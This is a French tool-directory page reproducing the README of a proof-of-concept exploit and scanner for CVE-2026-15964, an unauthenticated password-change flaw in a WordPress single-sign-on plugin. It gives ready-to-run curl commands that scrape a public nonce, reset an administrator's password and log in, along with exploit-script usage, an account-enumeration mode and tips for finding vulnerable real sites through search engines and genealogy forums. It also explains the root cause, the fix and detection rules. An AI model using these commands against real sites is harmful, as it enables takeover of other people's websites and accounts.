Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-15964-PoC — PoC et vérificateur pour CVE-2026-15964 - changement de mot de passe sans authentification dans le plugin WordPress Single Sign On For TNG <= 2.0.0 (CVSS 9.8) | Kitploit
Outils/GitHubGitHub/instructor-admin/cve-2026-15964-poc
Authentification et AutorisationEscalade de PrivilègesScanners de Vulnérabilités WebExploitationExploitation d'Applications WebCollecte d'InformationsSécurité WebTests d'Intrusion

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
instructor-admin/cve-2026-15964-poc

CVE-2026-15964-PoC

PoC et vérificateur pour CVE-2026-15964 - changement de mot de passe sans authentification dans le plugin WordPress Single Sign On For TNG <= 2.0.0 (CVSS 9.8)

Voir le dépôt
1il y a 19 joursPas encore vérifié

CVE-2026-15964 - Single Sign On For TNG <= 2.0.0

POC

Élévation de privilèges non authentifiée via un changement de mot de passe non vérifié dans le plugin WordPress Single Sign On For TNG.

GravitéCritique (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-620 (Changement de mot de passe non vérifié)
Versions affectéesversions du plugin 1.0.0 à 2.0.0
Corrigé dans2.1.0 (publié le 2026-07-27)
Publié2026-08-01
Authentification requiseaucune (wp_ajax_nopriv_ssoprocess_ajax)
Impactchanger le mot de passe de n'importe quel compte WordPress, y compris les administrateurs - prise de contrôle totale du site
Pluginhttps://wordpress.org/plugins/single-sign-on-for-tng/

En bref

Tout visiteur non authentifié peut changer le mot de passe de n'importe quel compte sur un site utilisant le plugin en version 2.0.0 ou antérieure. Deux requêtes HTTP :

  1. Récupérez la page d'accueil et copiez le nonce depuis l'objet JavaScript SSOPWDREQUIREMENT.
  2. Envoyez-le à admin-ajax.php avec operation=setnewpassword, l'e-mail de la victime et un nouveau mot de passe.

La fonction reset_password() du cœur de WordPress fait le reste. Pas de jeton, pas de lien de confirmation par e-mail, pas de vérification de capacité. Connectez-vous ensuite en tant qu'administrateur.

root@kitploit:~
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}

Pourquoi cela fonctionne

Le gestionnaire est enregistré pour les utilisateurs non authentifiés

Dans single-sign-on-for-tng.php (v2.0.0) :

root@kitploit:~
add_action('wp_ajax_ssoprocess_ajax',        array($this, 'ssoprocess_ajax'));   // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax'));   // line 69

wp_ajax_nopriv_* signifie que le gestionnaire est accessible sans aucune session.

La seule protection est un nonce que le plugin distribue à chaque visiteur

load_scripts() est accroché à wp_enqueue_scripts, donc sur chaque page frontale, le plugin imprime ceci dans le HTML :

root@kitploit:~
wp_localize_script('general_script','SSOPWDREQUIREMENT',
    array('passwordspec'=>PASSWORDSPEC,
          'url'=>admin_url('admin-ajax.php'),
          'nonce'=>wp_create_nonce("ssoajaxnonce")));                              // line 96

Ce qui donne :

root@kitploit:~
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>

Et le gestionnaire le vérifie ainsi :

root@kitploit:~
public function ssoprocess_ajax() {
    global $wpdb;
    check_ajax_referer('ssoajaxnonce', 'nonce');   // line 104
    ...

Le piège : WordPress calcule les nonces avec wp_create_nonce($action) en utilisant uid et le jeton de session. Pour les visiteurs déconnectés, ceux-ci valent 0 et une chaîne vide, ce qui signifie que chaque visiteur anonyme obtient exactement le même nonce. Il n'est recalculé que toutes les 12 heures (le tick de nonce). Ainsi, le nonce que le plugin imprime pour n'importe quel visiteur est également valable pour l'attaquant - il n'y a aucun secret à voler, il est publié sur la page elle-même.

Et ensuite le changement effectif, sans aucune preuve de propriété

root@kitploit:~
switch ($op) {
    case 'setnewpassword':
        if (!isset($post['email']) || !isset($post['password'])) { ... }
        $email = wp_unslash($post['email']);
        $user  = get_user_by('email', $email);
        if ($user !== false) {
            reset_password($user, $post['password']);   // line 120
            ...
            wp_send_json_success(array('success'=>true));
        }
        else
            wp_send_json_error(array('success'=>false));
        break;

reset_password() est une fonction du cœur de WordPress. Elle définit le nouveau hachage, déconnecte la victime de toutes les autres sessions et déclenche les actions password_reset / after_password_reset. Elle est appelée ici sans rien prouvant que l'appelant est le propriétaire du compte.

Deux points supplémentaires à connaître :

  • Aucune vérification de robustesse du mot de passe côté serveur sur ce chemin. Les règles MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC du plugin ne sont appliquées que dans validate_form() pour les formulaires Forminator, jamais ici. N'importe quel mot de passe est accepté.
  • Énumération de comptes. {"success":true} vs {"success":false} vous indique si un e-mail est enregistré. Le mode --enum-only du vérificateur utilise cela.
  • Bug bonus dans la même fonction : operation=set_tzoffset appelle update_option('localtzoffset', $post['timezoneoffset']) sans authentification. Pas directement exploitable pour une RCE, mais c'est une écriture d'option non authentifiée et il vaut la peine de le mentionner dans l'analyse.

Ce qui a changé dans la 2.1.0

La comparaison de 2.0.0 avec 2.1.0 rend le correctif évident (et confirme le bug) :

root@kitploit:~
             case 'setnewpassword':
+                $timeout = intval($post['timeout']);
+                if (time() > $timeout) {
+                    // clears custom_recovery_token / _expiration / _nonce user meta
+                    wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+                    return;
+                }
                 $email = wp_unslash($post['email']);
                 $user  = get_user_by('email',$email);
                 if ($user !== false) {
                     reset_password($user,$post['password']);

plus, dans newpasswordform() :

root@kitploit:~
+            if (empty($_GET['uid']))
+                return ... "An unexpected error occurred." ...
+            $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+            // The nonce is checked here
+            if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+                return ... "This recovery link is no longer valid." ...

Donc dans la 2.1.0, le flux est le suivant : une véritable demande de récupération stocke custom_recovery_token + custom_recovery_nonce propres à l'utilisateur dans ses meta, le lien de récupération porte l'identifiant de l'utilisateur, le formulaire valide les deux, et le gestionnaire AJAX refuse de s'exécuter une fois la fenêtre de récupération (timeout) expirée. Un attaquant qui ne peut pas produire un enregistrement de récupération actif ne peut plus piloter setnewpassword.


Reproduction (manuelle)

Étape 1 - récupérer le nonce

root@kitploit:~
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"

Étape 2 - changer le mot de passe

root@kitploit:~
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -H "X-Requested-With: XMLHttpRequest" \
  -d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"

Réponse attendue sur une installation vulnérable : {"success":true}

Étape 3 - se connecter

root@kitploit:~
curl -sk -X POST https://target/wp-login.php \
  -d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"

PoC : CVE-2026-15964.py

Exploit mono-site. Modes non destructifs inclus.

root@kitploit:~
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'

# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only

# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12

# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only

# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check

Vérificateur : CVE-2026-15964-checker.py

Scanner par lot pour vos propres listes de sites. Non destructif par conception - il ne change jamais de mot de passe.

Comment il classe chaque site :

  1. Empreinte HTML - l'objet SSOPWDREQUIREMENT ou les chemins d'actifs /wp-content/plugins/single-sign-on-for-tng/ dans la page d'accueil.
  2. Version - ligne Stable tag: du readme.txt. <= 2.0.0 est vulnérable, >= 2.1.0 est corrigé. Cela fait foi selon la CVE.
  3. Sonde comportementale (--probe, uniquement si la version ne peut pas être lue) - envoie operation=setnewpassword avec un e-mail inexistant. Une installation 2.0.0 répond {"success":false} sans message d'erreur ; une installation 2.1.0 répond avec le message « time to submit the new password expired ». Un vrai e-mail n'est jamais envoyé - en envoyer un réinitialiserait réellement le mot de passe.
root@kitploit:~
# scan a file of URLs, with the safe probe and 20 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv

# or a handful of URLs directly
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com

Exemple de sortie :

root@kitploit:~
URL                                             VERDICT           VER      NONCE  DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com                         VULNERABLE        2.0.0    yes    readme Stable tag 2.0.0 <= 2.0.0
https://lab2.example.com                        PATCHED           2.1.0    yes    readme Stable tag 2.1.0 > 2.0.0
https://plain-wp.example.com                    PLUGIN_NOT_FOUND  -        -      

Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1

Verdicts : VULNERABLE / PATCHED / PLUGIN_NOT_FOUND / NOT_WORDPRESS / UNKNOWN / ERROR. UNKNOWN signifie généralement un WAF, un cache CDN agressif ou un site qui bloque le readme - vérifiez-les manuellement.


Tester les outils en local

tests/mock_server.py émule six cas (vulnérable par version, corrigé par version, vulnérable par sonde, corrigé par sonde, WordPress sans le plugin, non-WordPress). C'est ainsi que la logique du vérificateur a été validée avant de la pointer sur quelque chose de réel :

root@kitploit:~
# terminal 1
python3 tests/mock_server.py 8081 vuln_readme

# terminal 2
python3 CVE-2026-15964-checker.py -u http://127.0.0.1:8081 --probe
# -> VULNERABLE

pip install -r requirements.txt vous donne la seule dépendance (requests).


Notes du terrain

Contexte honnête, car cela affecte la façon dont vous utilisez cet outil.

  • Ce plugin cible TNG (The Next Generation of Genealogy Sitebuilding), c.-à-d. des sites de généalogie de loisir. C'est un très petit écosystème : environ 1 600 téléchargements cumulés sur wordpress.org, installations actives masquées (< 10), première sortie en octobre 2024.
  • Comme la 2.1.0 n'est apparue que le 2026-07-27, l'écrasante majorité des téléchargements sont des versions vulnérables. Si vous trouvez une installation, il est très probable qu'elle soit encore vulnérable.
  • La découverte est la partie difficile. Le plugin ne laisse aucune trace dans l'index de Shodan (j'ai vérifié toutes les empreintes auxquelles je pouvais penser - zéro résultat), et même le fingerprinting des 1 000 premiers hôtes WordPress renvoyés par Shodan n'a trouvé aucune installation. Vos meilleures sources sont : Google inurl:"single-sign-on-for-tng", "SSOPWDREQUIREMENT" dans les moteurs de recherche qui indexent le code source complet des pages (PublicWWW, Censys, FOFA), et la communauté TNG elle-même (tngsitebuilding.com, forums de généalogie).
  • Le compartiment UNKNOWN du vérificateur sera relativement important sur les vrais sites généalogiques - beaucoup tournent derrière un cache agressif ou bloquent readme.txt. Ne l'interprétez pas comme « non vulnérable » ; vérifiez manuellement.

Détection et remédiation

  • Mettez à jour vers 2.1.0 (ou supprimez complètement le plugin).
  • Règle WAF : rejeter les POST admin-ajax.php où action=ssoprocess_ajax ne provient pas d'une session authentifiée ; alerter sur setnewpassword provenant de sources anonymes.
  • Surveillez les changements de hachage wp_users.user_pass et les actions password_reset / after_password_reset ; soyez attentif aux connexions administrateur immédiatement après un changement de mot de passe.
  • Considérez ssoajaxnonce comme une information publique - elle l'a toujours été.

Références

  • https://www.cve.org/CVERecord?id=CVE-2026-15964
  • https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-15964
  • https://www.wordfence.com/threat-intel/vulnerabilities/id/1d8d393e-764c-491d-8afb-7d4f8d0c387a?source=cve
  • Source vulnérable (2.0.0) : https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.0.0/single-sign-on-for-tng.php
  • Source corrigée (2.1.0) : https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.1.0/single-sign-on-for-tng.php
  • https://plugins.trac.wordpress.org/changeset?reponame=&old=3624827%40single-sign-on-for-tng&new=3624827%40single-sign-on-for-tng

Avertissement

Ce dépôt est destiné uniquement à des tests de sécurité autorisés et à des fins éducatives. Vous êtes responsable de vos propres actions. N'utilisez pas ces outils contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de test. L'accès non autorisé à des systèmes informatiques est un crime dans la plupart des juridictions.

Télécharger l’outil